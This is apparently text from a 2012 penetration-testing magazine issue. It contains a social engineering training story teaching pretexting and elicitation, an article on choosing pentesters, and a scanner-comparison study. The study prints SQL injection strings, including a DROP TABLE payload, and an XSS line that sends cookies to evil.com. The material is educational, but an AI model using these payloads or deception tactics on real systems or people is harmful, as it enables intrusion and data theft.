think we are going to set the age at 16 for our kids. The
two began having a fun discussion reminiscing about
when they began dating in their teenage years.
THE BEST OF 01/2012 Page 55
Following a few more minutes of discussion Clark
held up his finger and said, Let’s get another opinion on
the topic. Clark leaned back a little and spoke over his
shoulder and stated to the coffee sipping Smith, Good
morning, I’m very sorry to interrupt you. My friend and
I are getting ready leave but were hoping you could
help us settle a discussion we are having and ask
your opinion. Smith regarded them, noticed that they
had finished their coffee and said with a slight eyebrow
furrow, Ok, what is your question? Clark replied, My
friend has teenage children. We were discussing what
an appropriate age is to allow kids to start dating. My
friend says 16 and I say if I had a daughter it would
be 30. What are your thoughts? Smith gave a broad
smile and gave a slight chuckle as he replied, I have
teenagers as well. Clark quickly added, Ah, we have an
expert. Smith laughed again and offered, Hardly, but my
wife and I both think that 14 is a good age to begin a
dialogue about it with our kids and assess their maturity
level. Smith went on to say that he plans on requiring
his daughter to bring her proposed boyfriend to dinner
at their house before she is allowed to date him. Clark
could tell from Becker’s nonverbal demeanor that he
didn’t totally agree with Smith. As Becker was about
to say something in response to Smith, Clark quickly
looked at him and shook his head. Becker took the cue
and held his opinion. Clark then replied to Smith with
one simple word, Dinner? Smith went on to describe
that the purpose of the dinner was to get to know the
boy a bit better. Also, he figures if any boy is brave
enough to sit through a family dinner with his potential
girlfriend’s family that was a good sign. Both Clark
and Becker nodded in agreement. Clark commended
Smith for a great idea and pledged to incorporate it into
his own life when he has children. Smith returned the
compliment with a broad smile.
Smith took a long sip from his coffee and appeared
to be truly savoring both the taste and aroma. Clark
took the opportunity to begin his elicitation plan. Clark
took a sip of his own coffee and stated, I’m guessing
by how thoroughly you are enjoying that coffee that
you must make a living as a world renowned coffee
critic. Smith smiled at the compliment and humbly
offered, Hardly, I’m just a simple mid level purchasing
manager at a company not too far from here. Clark
replied with an inquisitive look, Purchasing manager?
Smith felt compelled to elaborate, Yes, I handle all of
the equipment purchasing and maintenance for our
company. Clark continued to look at Smith in silence for
a second or two and Smith filled the silence with, I am
in charge of ensuring all of our companies computers,
software, printers, and furniture are maintained and
updated when needed.
http://pentestmag.com

Smith politely inquired what Clark and Becker did for
a living. Clark replied, Nothing as nearly as important as
you. I am a sales representative for a computer printer
company and my friend handles maintenance on them.
It has been really busy because we are currently running
a special that includes a free network evaluation and
printer upgrade package. I can’t believe our company
can have this special and not lose money.
Smith moved his chair a bit closer to Clark and
Becker’s table and inquired with an eager smile, What
a great coincidence meeting here this morning. Do you
think you would have time to come by my business and
evaluate our system for me and give me an estimate on
upgrading? Becker looked at Clark in amazement trying
his best to hide both his excitement and astonishment.
Clark leaned in a little closer to Smith; smiled and
said, We typically can’t schedule anything without
running it through our main office, but I’ll squeeze
you in somewhere. Please promise not to let our boss
know. Smith enthusiastically nodded in agreement and
thanked them both for this great opportunity.
Clark looked at his friend Becker and asked about what
time he needed to get back home to practice baseball
with his son. Becker remembered his instructions about
following Clark’s lead and replied, I still have a little time,
but we should start wrapping it up. Smith interjected,
My son plays baseball also, and how old is your son?
Becker replied that his son was 12 and that he coached
his baseball team. Smith moved his chair over to join
Becker and Clark and went on to describe how he had
coached his own children for years and the wonderful
enjoyment he has taken away from it. The conversation
between all three continued for another 20 minutes
and plans were made for meeting up early on Monday
morning at Smith’s place of employment so that Becker
and Clark could do a quick evaluation before anyone
else from Smith’s company got in to work. The three
shook hands heartily and thanked each other for such
Figure 3. Techniques for building quick rapport
THE BEST OF 01/2012
PENTEST REGULAR
a great conversation, new friendship and potentially
money saving business opportunity for Smith.
Clark and Becker walked out of the coffee shop feeling
very good that they had accomplished their goals. Clark
looked at Becker and said, Let’s go grab a snack away
from here and debrief what we just accomplished. Clark
informed Becker that it was critical to do an after action
review of every exercise they attempted so they could
evaluate the success and learn from any mistakes.
The After Action Review
Clark and Becker left the coffee shop and drove to a
book store with a café that they didn’t believe Smith
frequented. They sat down at a table and Clark began the
conversation, So what do you think? Becker responded
that he though it went very well. Yes it did. Said Clark,
Now tell me about why it went well. Becker furrowed his
brow as he thought for a minute and replied, You did
a really good job initiating the conversation with Smith
when he came in, you built quick rapport. Clark agreed
and wrote down the following techniques for building
quick rapport (Figure 3).
Building Rapport
Clark explained that you do not need to use all of the
techniques to be successful, but the more you use
the better your chances. Clark described how he used
accommodating nonverbals when he initially spoke to
smith over his shoulder with his body angled away from
him. Not invading an individual’s personal space is very
important and the onset of a conversation. Smith also
described how he utilized an artificial time constraint
when he said, My friend and I are getting ready to leave.
Clark highlighted that an individual is more likely to have
a conversation with a stranger when they think it is not
going to take longer than a minute or so.
Becker was regarding the list and added, You utilized
a sympathy theme when you asked him for his help
with settling our discussion. Excellent! Clark said. Clark
discussed how human beings have a compulsion to
respond to sympathy requests. What else did you
notice from the list? Becker was feeling more confident
now and offered, You validated his thoughts and
opinions when you said that we had an expert. Perfect!
exclaimed Clark. All human beings seek validation.
Validation signifies that you are accepted. Our ancestors
who were tribal relied upon acceptance within a group
for survival. Validation is one of the biggest underlying
techniques that can be utilized in any relationship.
Becker regarded the list again and couldn’t come up
with anything else. Clark asked him what he thought
about ego suspension. Becker offered that he didn’t
understand what he meant by that as much. Clark
Page 56 http://pentestmag.com
emphasized that the most important step in the process
is ego suspension. He described how if you want to
be successful you have to put the other individual’s
thoughts and opinions ahead of your own, even if you
might disagree. Nothing can ruin a new relationship
quicker than disagreeing with the person you are
trying to build rapport with. Clark said, I ensured you
were using ego suspension when I stopped you from
correcting Smith when he was telling us about his ideas
around dating. Becker thought silently for a second
or two and recalled the urge he had to interject his
own ideas and felt embarrassed. Clark saw Becker’s
embarrassment nonverbally and offered, Don’t be too
concerned; ego suspension is the very hardest thing an
individual can do. With more practice and awareness
it will come much easier. Becker felt a little better and
thanked Clark for his insights and help.
Clark asked Becker if he noticed the gift that he
gave Smith. Becker again looked confused and Clark
quickly added, A gift very often does not take the form
of a material good. A gift can be non-tangible as well.
Validation is a gift that we gave smith early on and the
biggest gift that we gave Smith was the free estimate
and possible good deal on upgrading his systems. I
even sweetened the gift by making it special because
I wasn’t telling my boss. Becker said, But that was
all made up and not real. Clark responded, Smith’s
perception was that it was, and that is all that matters.
For the same reason that human beings seek validation
they also have a compulsion to reciprocate gifts. In tribal
times, when a hunter shared his bounty, his gifts would
be reciprocated if he was ill or injured. Conversely, if
a hunter did not share his bounty, he would not be
provided for should he be ill or injured. The survivors
were the gift givers.
The list that Clark provided now made much more
sense and he clearly saw the techniques and how
wonderfully they worked. Clark reminded him that these
Figure 4. Elicitation/Conversation Techniques
THE BEST OF 01/2012 Page 57
techniques are nothing that we all don’t use every day,
we just happen to use then consciously and with a
purpose to achieve a goal.
Elicitation / Conversation Techniques
Clark informed Becker that next he wanted to cover
a few simple elicitation and conversation techniques
that enabled him to both verify that they were speaking
with the correct person as well as broker an invite to
the facility. Clark took the same piece of paper he had
written the rapport techniques on, flipped it over and
wrote Elicitation / Conversation Techniques at the top.
He then drew a simple house and described how the
objective of elicitation of the desired information was the
roof and that without the floor, two walls, and ceiling the
roof would collapse. He wrote the acronym PRIM down
and then placed the words each letter represented
along a wall and floor of the house; pauses, reflective
questions, intentional misstatements, and minimal
encouragers (see Figure 4). Clark went on to describe
the techniques he had used to glean more details and
information from Smith.
Clark began by telling Becker that a reflective question
was simply a one or two word reply to a statement that
someone else makes. This technique is very effective
and nonthreatening. For example, Clark was recalling
the conversation with Smith and how Smith planned
to invite his daughter’s boyfriends over for dinner.
Clark repeated the word, Dinner? Becker immediately
elaborated more on what he meant. Becker quickly
recognized that Clark had done the same thing later
on in the conversation when Smith said that he was a
purchasing manager. Clark had repeated back to him,
Purchasing manager? Clark commended Becker for the
keen observation.
Clark asked Becker how he thought he induced Smith
to volunteer that he was a purchasing manager. Becker
thought for a moment and said, I’m not sure, but you
did say to him that he must be a world renowned coffee
critic. Correct again. said Clark. That was an intentional
misstatement. Human beings have this incredible need
to correct others when they think they are wrong. This
need to correct highlights a lack of ego suspension
that we discussed earlier and it is also a form of self-
validation. It is probably the most effective elicitation
technique that I use and believe in. When I couple
that technique with a sympathy theme it is wonderfully
effective.
Clark quickly acknowledged that they had both used
minimal encouragers throughout the conversation.
Minimal encouragers are natural head nods, yes
statements, go on expressions, and any other verbal
or nonverbal expression that induces the other person
http://pentestmag.com

to continue speaking. Additionally, the other individual
feels as though you are listening and paying attention.
Clark described how he also used silence after
Smith had provided a brief explanation of his job as
purchasing manager. Clark sat silently, nonverbally
inducing Smith to fill the slightly awkward silence with
more words. Clark informed Becker that most people
are very uncomfortable with silence and will tend to
fill the silence with words. Become comfortable with
some well placed silence in a conversation and you will
continue to gather valuable information.
Becker was taking in all this fantastic knowledge and
then the most pressing question came to him; he asked
Clark, How did you get him to invite us to his company?
We never even asked. Clark commended Becker again
for his observation and described how he always tries
PENTEST REGULAR
to create a situation where the other person initiates
the desired action without a direct request. In this case,
by presenting the information that we were running
a special deal I was hoping he would see that as an
opportunity for him. This utilizes another elicitation
technique, Curiosity. Becker looked puzzled. Clark
quickly added that there were many more techniques
and that over time he would share them all with him.
The two planned what time they would get together
on Monday. Becker was feeling great because he
began to realize that these techniques were not all
that new to him. He had been using them his entire life
already, he now understood a bit more how to use them
proactively and with a purpose. Becker hoped that he
would soon become as an effective Social Engineer
and Pentester as Clark. He truly was passionate about

Bibliography
• Alessandra, Tony & O’Conner, Michael J. (1994). People Smarts: Bending the Golden Rule to Give Others What They Want. San
Diego: Pfeiffer & Company
• Alessandra, Tony & O’Conner, Michael J. (1996). The Platinum Rule: Discover the Four Basic Business Personalities and How
They Can Lead You to Success. New York: Warner Books.
• Burnham, Terry & Phelan, Jay. (2000). Mean Genes: From Sex to Money to Food Taming Our Primal Instincts. New York: Pen-
guine Books
• Briggs-Myers, Isabel & Myers, Peter. (1980) Gifts Differing: Understanding Personality Type. California: Davies-Black Publi-
shing.
• Carnegie, Dale. (1990). How to Win Friends and In�uence People. New York: Pocket Books.
• Dreeke, Robin. (November, 2011). It’s Not All About Me: The Top Ten Techniques for Building Quick Rapport With Anyone. Vir-
ginia: People Formula.
• Dreeke, Robin. (June, 2008). It’s All about Them: FBI Law Enforcement Bulletin.
• Dreeke, Robin & Navarro, Joe. (December, 2009). Behavioral Mirroring in Interviewing: FBI Law Enforcement Bulletin.
• Dreeke, Robin & Sidener, Kara. (November, 2010). Proactive Source Development: FBI Law Enforcement Bulletin.
• Glass, Lillian. (1995). Toxic People: 10 Ways of Dealing With People Who Make Your Life Miserable. New York: Simon and Schu-
ster
• Goldman, Daniel. (1995). Emotional Intelligence. New York: Bantam Books.
• Gosling, Sam. (2008). Snoop: What Your Stuff Says About You. New York: Basic Books
• Hadnagy, Christopher. (2011). Social Engineering: The Art of Human Hacking. Indiana: Wiley Publishing.
• Hoffer, Eric. (1989). The True Believer: Thoughts on the Nature of Mass Movements. New York: Harpers and Row, Publishers.
• Jaye, Aye. (1997). The Golden Rule of Schmoozing: The Authentic Practice of Treating Others Well. Naperville, Illinois: Source-
books.
• Keirsey, David & Bates, Marilyn. (1978). Please Understand Me: Character and Temperament Types. California: Prometheus
Nemsis Book Company.
• Kroeger, Otto, & Thueson, Janet M. (1988). Type Cast: The 16 Personality Types that Determine How We Live, Love, and Work.
New York: Dell Trade Paperback.
• Kushner, Harold S. (2001). Living a Life that Matters. New York: Anchor Books.
• Kushner, Harold S. (1986). When All You’ve Ever Wanted Isn’t Enough. New York: Fireside Books.
• Kushner, Harold S. (1980). When Bad Things Happen to Good People. New York: Avon.
• Lowndes, Leil. (2003). How to Talk to Anyone: 92 Tricks for Big Successes in Relationships. Columbus, Ohio: McGraw-Hill.
• McClish, Mark. (2001). I Know You Are Lying. Winterville, North Carolina: Policeemployment.com.
• Morris, Lois B., & Oldham, John M. (1995). New Personality Self-Portrait: Why You Think, Work, Love, and Act the Way You Do.
New York: Bantam Books.
• Napier, Michael R. (2010). Behavior, Truth and Deception: Applying Pro�ling and Analysis to the Interview Process. Boca Ra-
ton, Florida: CRC Press.
• Navarro. Joe. (2008). What Every Body is Saying: An Ex-FBI Agent’s Guide to Speed-Reading People. New York: Harper Collins.
• Nolan, John. (1996). Con�dential: Business Secrets: Getting Theirs – Keeping Yours. Medford Lakes, New Jersey: Yardley
Chambers.
• Rabon, Don. (2003). Investigative Discourse Analysis. Durham, North Carolina: Carolina Academic Press.
• Sheey, Gail. (1977). Passages: Predictable Crises of Adult Life. New York: Bantam Books.

THE BEST OF 01/2012 Page 58 http://pentestmag.com

helping individuals and companies better prepare and
protect themselves against those malicious individuals
who would do harm.

Conclusion
In conclusion, building rapport is perhaps the most
important technique that Social Engineers use in
fulfillment of their jobs. Most every Pentester’s primary
goal is to successfully resolve security issues both
with hardware and people. Without the critical skill of
developing rapport, the formula for success quickly
breaks apart. These skills are exactly the same
that master spies use in their information gathering
missions.
The challenges of today’s cyber security specialists
are immense and ever growing. Possessing advanced
computer skills is critical in combating the growing cyber
threats facing both our country as well as the citizenry.
While trying to master these new critical technologies
it is very important to remember that few if any issues
are resolved without understanding the human hacking
vulnerabilities. The art form known as interpersonal
skills that has been illustrated here in a paint-by-number
format will hopefully help keep these critical skills fresh
and up to date as computer security specialists continue
to battle the threats to both individuals and institutions.
This article is meant for those new to social engineering
seeking a step-by-step procedure that is in keeping with
the time honored methods of building rapport as well as
for those senior mentors who have been using these
techniques for years and were looking for easy ways
to describe and pass on these great skills to those
they are mentoring. By mastering new technologies as
well as maintaining our mastery of interpersonal skills,
Social Engineers will be able to continue to provide the
excellent service and protection our communities and
country have come to expect from them.

ROBIN DREEKE
Robin Dreeke is a 15 year FBI Veteran, co-trainer of the new
Social Engineering For Penetration Testers Course, lead
trainer for interpersonal skills in the FBI as well as head of
the FBI’s Behavioral Analysis Program. Robin is a recognized
expert, author, and gifted lecturer in the art of interpersonal
communication. Robin is a frequent lecturer and trainer of
Social Engineering and advanced communication skills and
techniques across the country. Robin recently published
his book, “It’s Not All About Me: The Top Ten Techniques for
Building Quick Rapport with Anyone.” The book highlights
rapport building skills and inserts them into a workbook style
book with many fascinating and funny stories. Additionally,
there are practical exercises that can improve anyone’s ability
to develop great rapport.

THE BEST OF 01/2012

 PENTEST REGULAR

Tool Jockeys in
Disguise
Defeating the Push Button Penetration Testers
What drives your search for a penetration tester? Was it a recent
security breach or a compliance requirement or maybe just a
conversation over a round of golf with someone that recently
underwent an assessment? No matter what is the reason you will
need someone who is not only competent and familiar with the latest
threats and technologies but also someone that can associate the
vulnerability you have with the business risk to your organization.

T
his message is meant for you, all of you. The
CISO and the IT Director the decision maker
and the network administrator’s the people that
man the front lines of the information security trenches.
If there was ever a time for you to take stock in your
information security capital it’s now!
What’s your security strategy? When was the last
time it was tested and by whom? Was the individual or
entity qualified? How did the results of that engagement
positively impact the security strategy within your
organization? If you can’t honestly answer those
questions then you may want to take a second look at
the vendor and your choice of penetration tester.
Do you know what to expect from your vendor and
penetration tester? Unfortunately many companies do
not know what to look for when engaging an information
security vendor for a penetration test or vulnerability
assessment and can only smile and thank the vendor
when handed a report with lots of vulnerabilities marked
with highs, mediums and lows. As the customer you
need to understand how those vulnerabilities affect your
bottom line and your business.
on the engagement and the client. There have been times
where no tools were used at all during an engagement to
exploit a site while other times a custom built script will be
the most efficient way to go. You should pay less attention
to tools and timing and more attention to what your end goal
should be for the engagement. I know a lot of people have
the check list mentality and want to see a set list of things
to do or a certain toolset that should be used during an
engagement but if your pen tester’s sticks to one particular
method or toolset I guarantee you he will miss things.
Penetrating testing tools are useful during an engagement
and they can be used to perform trivial tasks but they should
not be the crux of a penetration testers skill set.
The Right Questions?
Defining what you need to test is as important to your
security strategy as having the proper policies and
procedures in place to govern the security of your
organization. If your development team just built a web
facing application for your sales division and you want to

The Wrong Questions

During a recent engagement meeting we were asked by
the client, what tools do you use and how long does it
normally take you to break in during a penetration test?
Well in answer to that I have to say that it really depends Figure 1. Push button for PenTest

THE BEST OF 01/2012 Page 60 http://pentestmag.com

have it tested what would your requirements be for the test?
Your penetration tester will have had at least, at a minimum,
performed a web application assessment before. I know
that it may seem silly to not assume a basic level of skill
on the side of your penetration tester however I have seen
examples where a previous engagement was completed
and a break in later ensued on the application that was
just tested. The first question that was asked by the CIO
was why didn’t the previous penetration testers catch this?
What is the penetration tester’s knowledge on current and
evolving threats with the technology that you employ in your
environment? It’s great if he is a whiz in SQL injection but
that won’t help you if you are running .net applications.
Once you have defined what you need to test the next
question is why are you testing that? A typical scenario is
a set of 5 IP addresses out of a class C network running
hardened fully patched Windows Server 2008 operating
systems with ports 80 and 443 available with static
HTML pages. No social engineering, physical access
or client side attacks are allowed! At the end of the test
your penetration tester may be happy to give you a report
that says you are secure and move on to their next client
but what about the rest of that class C? Don’t force your
penetration to give you a false sense of security by only
testing what you know you are secure on. A seasoned
attacker will immediately see those well patched servers
and move on to their next target which may be your SQL
server that your developers refused to patch due to coding
constraints. If your organization does not have a policy in
place for dealing with social engineers sit down with your
penetration tester and ask what needs to be included in
the policy creation. By sitting down with your penetration
tester before the start of the engagement and discussing
what your goals are as well as defining some of the known
threats to your environment and technology you will be
able to better define what’s most at risk is and how an
attacker could potentially target the asset. By doing this
you will be able to not only cut down on the number of
machines and networks that will need to be tested but you
will be able to focus in on the path of least resistance.
Approach Versus Method
During your search for a penetration tester one question
that should be posed to him is what exactly is your method
Figure 2. Approach Versus Method
THE BEST OF 01/2012 Page 61
of attack? Do you have a framework that you follow or a
tried and tested approach? The whole idea behind a
penetration test is to emulate a skilled attacker in order to
test your security. In order to emulate an actual attacker
your penetration tester should be asking you what’s most
important to your business and how will that tie in with what
he will be testing. Not what IP range he will be scanning.
Putting a range of IP addresses into Nexpose or Core
Impact and pushing next, next and go should not be what
a penetration test is all about. Your test should be about
emulating the threats to your organization in a realistic
fashion. The threats facing a Fortune 500 company on the
western continental United States would not be the same
threats faced by a small to medium business located in
China. There are several security standards such as the
OSSTMM (Open Source Security Testing Methodology)
or the PTES (Penetration Testing Execution Standard)
that can be used by your penetration tester to test your
particular environment. But what happens when your
particular set of threats doesn’t fall neatly into one of your
penetration testers testing methodologies? That’s when a
well-tested blended approach and set of methodologies
would be vital to your penetration tester’s toolset.
Upon completion of the engagement discuss the
results with your penetration tester and find out what the
real impact would be with the results that were found. If
you were vulnerable to cross site scripting what would
be the impact of a cross site scripting attack? Don’t just
accept a report with a bunch of screenshots have your
penetration tester explain to you how that would impact
your business and security posture. The business
impact of temporarily infecting a visitor kiosk with
malware would be very different than the same malware
infecting your production webservers.
Conclusion
In the end your choice for a penetration tester will revolve
around your needs and your pricing constraints. Every
environment is different and will present its own unique
challenge’s and testing issues. No penetration tester is
an expert at everything and we can’t all be H.D Moore but
by challenging your penetration tester you will help raise
the bar within the information security community and
make a definite impact on securing your organization.
WARDELL MOTLEY
Wardell Motley is a penetration tester
and security engineer at Accretive
Solutions Dallas a national consulting
and executive search �rm. He has
worked in information technology
and security for the past 8 years. He can be contacted at
wmotley@accretivesolutions.com.
http://pentestmag.com

On the Automated
Black-Box Security
Testing of Web Applications
Fuzzing. Although this technique has been around since 1989,
it had gained significant importance only with the rise of cloud
computing era, which, ironically, means it is still in its early days (at
least for the web applications fuzzing). With a fully grown market
ranging from open-source and commercial thick clients to SaaS
and network/data center dedicated hardware, web applications
still represent the major point of compromise.
L
ooking at things this way I cannot help associating
this picture with the use of satellites and state of
the art war gear to catch a caveman. Is there
something we are missing?
Introduction
Web technologies and applications are used
extensively by business and governments all over the
world. Online commercial sites, intranet and extranet
applications used by companies are almost all based
on these technologies. Today, new applications are
systematically developed with web technologies due to
ease of implementation and use.
Despite their advantages, web applications do raise a
number of security concerns. Remote code execution, SQL
injection, Cross Site Scripting (XSS) and session hijacking
are few examples of web application vulnerabilities.
These vulnerabilities combined with the public access to
web applications have made them a target of choice for
hackers. The Gartner Group estimates that almost up to
75% of attacks are now targeting these applications.
An insecure web application may expose customer’s
personal data, confidential information, or lead to
fraudulent transactions. This may cause financial, legal
and reputational damage for the application owner. To
prevent such consequences, web applications must be
designed, developed, installed and used in a secure
manner.
THE BEST OF 01/2012 Page 62
PENTEST REGULAR
The most common way of securing web applications
is searching and eliminating the vulnerabilities within.
According to OWASP (Open Web Application Security
Project), the most efficient way of finding security
vulnerabilities in web applications is manual code review.
This technique is very time-consuming and requires
programming skills. An alternative approach is to use
automated tools (fuzzers) that probe web applications
for security vulnerabilities, without access to source
code used to build the applications. This technique is
known as back-box testing or fuzzing and represents
a cost and time effective method for detecting security
vulnerabilities. There are a lot of good black-box web
scanners available on the market, distinguished from
one another by performance, platforms and price.
Our study aims to determine which factors may influence
the results are and how effective automated black-box
testing of web applications is. To achieve these goals, six
well-known web vulnerabilities scanners were selected
(Acunetix WVS v.7.0, Netsparker v.1.8.3.3, ProxyStrike
v.2.1, Websecurify v 0.8, QualysGuard WAS and Outscan
WAS) and tested against a common set of sample
applications, in two different environments: in the lab and
in the safe wild (will be discussed later in the article).
Web Vulnerabilities
The topic of web vulnerabilities is widely discussed in
literature. Books like The Web Application Hacker’s
http://pentestmag.com
Handbook: Discovering and Exploiting Security
Flaws by Dafydd Stuttard and Marcus Pinto, Hacking
Exposed Web Applications, Third Edition, by Joel
Scambray, Vincent Liu and Caleb Sima, Improving Web
Application Security: Threats and Countermeasures by
Microsoft Corporation deal with the subject in general
by enumerating the vulnerabilities, showing how they
work, how to discover and prevent them. There are also
organizations like OWASP [2], MITRE [1] and others
that publish yearly reports about top of most common
vulnerabilities. Furthermore, there are numerous
articles dealing with specific vulnerabilities in detail and
showing how specific vulnerabilities can be detected
and prevented.
Presenting detailed information about each individual
type of web vulnerability is beyond the scope of our
article. This could be a possible subject for a book
as only OWASP [5] alone lists 164 vulnerabilities in
24 categories. However, we consider it important
to introduce the most common two vulnerabilities
(injection attacks and XSS) in order to give the reader
the background information necessary to comprehend
our experiment. For each of them we will give a short
description, an example and list some prevention
methods.
Injection Attacks
In injection attacks an attacker exploits vulnerabilities
in the web application in order to execute malicious
code and change the logic of the application. There
are different types of injection attacks, depending
on the language used and the environment of the
application. The most common type of injection attack
is SQL Injection (SQLI). However, all interpreted
languages are vulnerable to this type of attack; this
includes web scripting languages such as PHP or
ASP, operating systems interpreters such as Bash
or Perl and data retrieval languages such as LDAP,
XPath or SOAP.
Example
In the case of SQL, injection attacks usually exploit
the fact that applications uses untrusted data in the
construction of SQL calls. One example is given
below:
SELECT * FROM users WHERE name = ‘” + userName + „’;
Assuming that username is a legal user identifier the
function would return the database row containing the
information for the selected user. However, assuming
that userName is a’ or ‘t’=’t the method would return
complete database with users.
THE BEST OF 01/2012
SELECT * FROM users WHERE name = ‘a’ OR ‘t’=’t’;
Furthermore, assuming that userName takes the value
below, the method would delete the entire content of
the table users.
a’;DROP TABLE users; SELECT * FROM data WHERE name LIKE ’%
Prevention
Because SQLI attacks (and injection attacks in general)
exploit the use of untrusted user data in the program
code, the obvious solution is to validate untrusted
data before using it in application code. For SQL,
the preferred option is to use a safe API that avoids
the interpreter entirely or provides a parameterized
interface; such APIs exist for all major programming
languages and development frameworks.
Cross-Site Scripting (XSS)
Cross-site scripting vulnerabilities occur most
commonly when applications employ untrusted data in
the construction of output without proper validation or
escaping. Attackers take advantage of this vulnerability
in order to make browsers execute scripts prepared by
the attacker in the context of a legitimate web page.
By these means, it is possible to hijack user sessions,
insert hostile content, perform redirects, etc.
There are three types of XSS flaws.
• Reflected: the injected code is reflected off the web
server (Most Common)
• Stored: the injected code permanently stored on
the target servers; the victim retrieves the malicious
script when it requests the stored content
• DOM-Based: the attack payload is executed as
a result of modifying the DOM of the page in the
victim’s browser
Example
Similar to SQLI, XSS attacks exploit applications that do
not properly validate user data. Assume the following
code snippet from a search engine that returns the
search results together with the query:
(String) page += „You search was: „ + request.getParameter
(„query”);
If an attacker modifies the query parameter to the value
below, it will cause the victim’s cookies to be sent to
the attacker’s web site.
<script>document.location= ‘http://www.evil.com/
stealcookie.php?foo=’+document.cookie</script>
Page 63 http://pentestmag.com

Prevention
The preferred prevention option is to properly validate
and escape all untrusted data that will be used in the
construction of output. Depending on the output type,
appropriate escaping shall be performed for HTML
elements, HTML attributes, JavaScript, CSS, URLs,
etc.
Securing Web Applications
The most common way to securing web applications is by
searching and eliminating the discovered vulnerabilities.
Other ways to securing web applications include safe
development (as described above), implementing
intrusion detection and intrusion protection systems
and deploying web application firewalls.
The existing approaches for detecting web
vulnerabilities can be divided into two main categories:
white box (static) testing and black box (dynamic)
testing. Static approaches require access to source
code and are useful during development, while dynamic
approaches are useful for protecting already deployed
software.
White-Box Approaches
In the white box approach, a tester has access to
the source code of the web application and relies
on statically analysis algorithms to detect possible
vulnerabilities. The most common approach is
the tainted-mode model. In order to discover the
vulnerabilities, a program determines the input points
of a web application (such as data retrieved via HTTP
GET/POST, cookies, database, etc.) and tracks the
program flow in order to determine which outputs
(database queries for SQLI or HTTP pages for XSS) are
produced based on the inputs. If an input parameter is
properly validated, the flow of the program will no longer
be tracked for this particular input. However, if an input
parameter can be tracked all the way to the output, a
vulnerability is reported.
The tainted-mode model has been described in
papers [7] and numerous tools have been implemented
based on this approach, for different web programming
languages such as PHP [7], Java [8], Ruby or Perl.
Black-Box Approaches
The black-box approach is based on the simulation of
attacks against a web application. For this purpose a
testing tool usually relies on a large database of known
attacks. In a first step the web application is scanned
and all pages are retrieved. After that, for each page
the data entry points (HTTP parameters, cookies, etc.)
are extracted. Next, the testing tool generates requests
where parameters contain malicious patterns and the
THE BEST OF 01/2012 Page 64
PENTEST REGULAR
received responses are scanned for indications of
vulnerabilities.
This approach has been described in Detecting
Security Vulnerabilities in Web Applications Using
Dynamic Analysis with Penetration Testing by
Andrey Petukhov, Dmitry Kozlov at the 2008 OWASP
Application Security Conference. The main advantage
of this method is that it does not require access to the
source code of the web application and can be used to
detect vulnerabilities in already deployed applications.
Furthermore, the approach is not dependent on the
programming language of the web applications.
However, it has the disadvantage of a poor coverage
of application entry points for web applications that
contain password protected areas or applications that
incorporate heavy logic such as when in order to land
on a page certain actions have to be performed in
advance (fill forms with specific data, etc.)
Comparative Results for Automated Black-
Box Testing
As a research project for a dissertation paper regarding
the efficiency of automated black-box web application
vulnerability testing, during February 2011, 6 web
application vulnerability scanners were tested:
• Two fully functional commercial thick clients:
• Acunetix WVS v.7.0 build 20110209;
• Netsparker v.1.8.3.3;
• Two open-source thick clients:
• ProxyStrike v.2.1;
• Websecurify v 0.8;
• Two SaaS applications:
• QualysGuard WAS;
• Outscan WAS.
In order to measure their effectiveness, the web
application scanners were tested in two environments:
“In the lab” (ideal testing conditions), namely:
• Two computers were networked, with no outside
connection;
• One of the computers hosted the intentionally-left-
vulnerable web application (i.e. WAVSEP [9]) and
the other one the thick client scanners;
• All security measures on both computers were
disabled so that no packets would be dropped;
• Both computers were running Microsoft Windows 7,
fully updated;
• In order to run WAVSEP the latest editions of
Apache Tomcat and MySQL Community Server
were also installed.
http://pentestmag.com

Figure 1. Graphical Representation of the Results
The reason for testing the scanners in the lab was that a
vulnerable web application to which all the vulnerabilities
are known (both valid and false positives), could be
scanned, whilst assuring an environment where the
scanners wouldn’t be censored by any firewall, IDS or IPS.
“In the safe wild”(real testing conditions), namely
• Seven public intentionally-left-vulnerable sites were
picked:
• testphp.vulnweb.com (owned by Acunetix) –
further referred to as Site 1;
• testasp.vulnweb.com (owned by Acunetix) –
further referred to as Site 2;
• testaspnet.vulnweb.com (owned by Acunetix) –
further referred to as Site 3;
a d v e r t
����������������
“We help protect critical infrastructure one byte at a time”
• ���� Checklists, tools & guidance
•���� Local chapters
• ������ builders, breakers and defenders
• ���������� ������������������������������������������������� and more..
��������������������������������
• php.testsparker.com (owned by Mavituna
Security) – further referred to as Site 4;
• aspnet.testsparker.com (owned by Mavituna
Security) – further referred to as Site 5;
• crackme.cenzic.com (owned by Cenzic) – further
referred to as Site 6;
• demo.testfire.net (owned by IBM) – further
referred to as Site 7;
• Local security measures were enabled;
• The scanning was performed over the Internet.
The research only focused on the two most widespread
red-flag vulnerabilities: XSS and SQLI. Thus, one of
the open-source scanners was intentionally picked
because it can only detect SQLI and XSS.
Before going any further we need to make the
following notes regarding the scanners:
• Acunetix WVS was tested with AcuSensor
Technology OFF, and Port Scanner OFF;
• ProxyStrike was tested using only manual crawling
due to automated crawler inefficacity;
• Websecurify and SaaS scanners support limited
configuration, so they were tested mainly in Point
and Shoot mode;
• Netsparker’s results had to be divided into two
subcategories (due to its official presentation – i.e.
false positive free scanner):
i s e m e n t
 PENTEST REGULAR
Table 1. “In the Lab” Detailed Scan Results
RXSS[1] SQLI[2] FP RXSS[3] FP SQLI[4] Detection rate False Positive
Total Vulns 66 136 7 20 RXSS + SQLI Detection rate
RXSS + SQLI
Acunetix 44 121 0 0 81,6% 0%
QualysGuard 39 80 3 2 58,9% 18.5%
Websecurify 22 80 3 10 50,4% 48,1%
ProxyStrike 61 46 7 0 52,9% 25,9%
Netsparker C. 42 41 132 128 0 0 6 0 86% 83,6% 22,2% 0%
N.C. 1 4 0 6 2,4% 22,2%

[1] Reflected Cross-Site Scripting Vulnerabilities [3] False Positive Reflected Cross-Site Scripting Vulnerabilities
[2] SQL Injection Vulnerabilities [4] False Positive SQL Injection Vulnerabilities

• Confirmed vulnerabilities; order to later analyze the gap between the two testing
• Non-confirmed vulnerabilities. sets.
After running the scans, the following results were
Testing Results obtained: Table 2.
In the Lab Results
This test was mainly aimed at thick clients, but during In the Lab vs. in the Safe Wild
testing, the same web application was managed to be After running all the detection rate percentages were
scanned with one of the SaaS scanners, QualysGuard compared in order to see how big is the gap, what
WAS. Please note that the SaaS scanning was could be the possible reasons for it, and if there are any
performed over the Internet (meaning there were possibilities to close this gap.
different testing conditions) as we did not have any
access to either of the SaaS’ Internal Appliances, and Causes that Can Influence Results
this may have influenced the rate of detection. After analyzing the results, there are only two causes
